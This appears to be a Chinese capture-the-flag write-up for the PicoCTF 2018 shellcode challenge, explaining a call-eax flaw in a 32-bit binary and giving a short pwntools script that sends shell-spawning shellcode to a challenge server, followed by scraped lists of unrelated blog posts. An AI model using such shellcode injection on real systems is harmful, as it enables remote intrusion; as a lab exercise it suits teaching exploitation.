先 nc 连接服务器,交互一下看看有什么效果。发现是让我们输入一个字符,之后程序再打印出来。

file 查看文件。32位的 ELF 可执行文件。

checksec 查看文件安全属性。没开任何保护。



NX 保护未开启,表明栈内存可被注入并执行任意机器码(shellcode),符合经典栈溢出利用的条件。此类漏洞通常需构造包含 /bin/bash 字符串的 shellcode 以获取交互式 shell 。

IDA打开此文件。因为代码被混淆了,导致无法反编译成伪代码,所以需要逐条分析汇编指令。

main 函数旁边看到了一个 vuln 函数,查看。发现了 gets 高危函数。

仔细查看 main 函数。



程序将用户的输入数据存储到 edp+var_A0 处,并通过 lea 将输入缓冲区地址加载至 eax 寄存器,随后作为参数传递给 vuln 函数,vuln 函数内存在关键指令 call eax,表明程序会直接跳转执行 eax 指向的地址,推测此处可能会存在任意代码执行漏洞。

反编译 vuln 函数,猜测 a1 会被加载到 eax 寄存器中。



因此用户输入的数据最终会被 call eax 执行因此需要构造一段机器码形式的shellcode,直接注入到栈中实现任意代码执行。

exp 构造思路:

构造包含 /bin/bash 字符串及系统调用执行的 shellcode,通过输入将其注入栈中,并利用call eax 触发执行,之后get shell。

from pwn import *  

r=remote('node5.buuoj.cn',26081)
context.log_level='debug'
context.arch='i386'
context.os='linux'
shellcode=asm(shellcraft.sh())
print(shellcode)
r.send(shellcode)
r.interactive()

最终得到交互式 shell

PWN手的成长之路-04-PicoCTF_2018_shellcode的更多相关文章

  1. 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路

    我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...

  2. 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读

    本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...

  3. 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  4. 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》

    <菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...

  5. (转)Python成长之路【第九篇】:Python基础之面向对象

    一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...

  6. redis成长之路——(二)

    redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...

  7. redis成长之路——(一)

    为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...

  8. 【腾讯Bugly干货分享】JSPatch 成长之路

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...

  9. redis成长之路——(七)

    扩展性封装 虽说现在StackExchange.Redis免费,万一到时候和servicestack.redis一样要收费呢,所以先留一口,后续的可以再处理 实例代码点击这里查看 redis成长之路- ...

  10. redis成长之路——(六)

    redis配置 为了码农在代码上只关心业务以及代码上的统一性,wenli.drive.redis内部使用配置来完成那些不同的场景,也就是说随便填填配置就能适应不同的场景! 当然配置多了码农也会受不了, ...

随机推荐

  1. 前端开发系列066-JQuery篇之框架使用准备

    一.jQuery框架和JavaScript加载模式对比 jQuery框架的加载模式 <script> window.onload = function () { console.log(& ...

  2. C/C++语言字符串正则匹配问题

    30分钟入门博客 http://www.awaysoft.com/regular.htm#mission 可能服务器到期了,说实话自己的博客还是部署到CSDN,博客园之类的好. 测试网页 https: ...

  3. GAMES101 作业0 图形学

    简介 作业用来校验自己做的是否正确.请不用copy,因为这是cheat youself. 题目 给定一个点 P=(2,1), 将该点绕原点先逆时针旋转 45◦,再平移 (1,2), 计算出变换后点的坐 ...

  4. 交叉注意力机制在YOLO目标检测优化中的应用:结合余弦退火学习率调度的实战解析

    在目标检测领域,YOLO(You Only Look Once)因其高效性和准确性而被广泛采用.然而,随着任务复杂性的提升,如何优化 YOLO 算法以实现更高的性能成为研究热点.本文探讨了交叉注意力机 ...

  5. API快速开发,低代码开发平台

    低代码开发平台让API开发效率快速提升,RestCloud低代码开发平台提供高效率开发环境,普通工程师只需要简单的技术就可以快速完成系统的开发.低代码开发平台可与第三方软件无缝集成,可以快速的开发企业 ...

  6. Management-DecisionMaking-Leadership-Relationship: 组织关系管理: Authorization授权 与 “越级”操控 “人事布局、财物配置、审批授权赋能”

    Management-DecisionMaking-Leadership-Relationship: 组织关系管理: 组织关系 的 Authorization"授权" 与 &quo ...

  7. SciTech-BigDataAIML-Github-Generating a new GPG key

    Generating a new GPG key Generating a new GPG key If you don't have an existing GPG key, you can gen ...

  8. FreeSwitch: esl 调用lua动态传参&日志查看

    lua脚本在执行过程中,可动态接收参数,这样可以让系统更灵活,以上节的自动外呼为例,callout.lua改成下面这样: -- 主叫 local callernum = argv[1]; -- 被叫 ...

  9. idea 设置编译方式为maven编译, 并且在编译Java源文件时debug(annotation processor)

    目录 idea 设置编译方式为maven编译 编译时debug(annotation processor) idea 设置编译方式为maven编译 Settings -> "Ctrl+ ...

  10. 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-23- 操作鼠标拖拽 - 番外篇(详细教程)

    1.简介 跟随宏哥学习的小伙伴或者童鞋们想必已经在宏哥Python+Playwright系列文章中知道宏哥如何处理前边文章中提到的反爬虫机制.今天跟随宏哥看一下java语言是如何处理的,已经按照之前的 ...